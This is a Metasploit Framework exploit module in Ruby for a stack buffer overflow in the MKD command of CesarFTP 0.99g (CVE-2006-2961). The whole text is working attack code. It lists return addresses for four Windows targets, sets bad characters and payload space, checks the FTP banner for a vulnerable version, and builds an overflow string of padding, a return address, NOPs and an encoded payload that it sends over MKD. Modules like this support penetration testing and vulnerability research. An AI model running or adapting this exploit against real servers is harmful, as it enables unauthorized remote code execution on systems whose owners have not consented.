Cesar FTP 0.99g MKD Command Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g.  
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2006-2961'],  
[ 'OSVDB', '26364'],  
[ 'BID', '18586'],  
[ 'URL', 'http://secunia.com/advisories/20574/' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 250,  
'BadChars' => "\x00\x20\x0a\x0d",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],  
[ 'Windows 2000 Pro SP4 French', { 'Ret' => 0x775F29D0 } ],  
[ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ],  
[ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ],  
],  
'DisclosureDate' => 'Jun 12 2006',  
'DefaultTarget' => 0))  
end  
  
def check  
connect  
disconnect   
  
if (banner =~ /CesarFTP 0\.99g/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect_login  
  
sploit = "\n" * 671 + rand_text_english(3, payload_badchars)   
sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded   
  
print_status("Trying target #{target.name}...")  
  
send_cmd( ['MKD', sploit] , false)  
  
handler  
disconnect  
end  
  
end  
`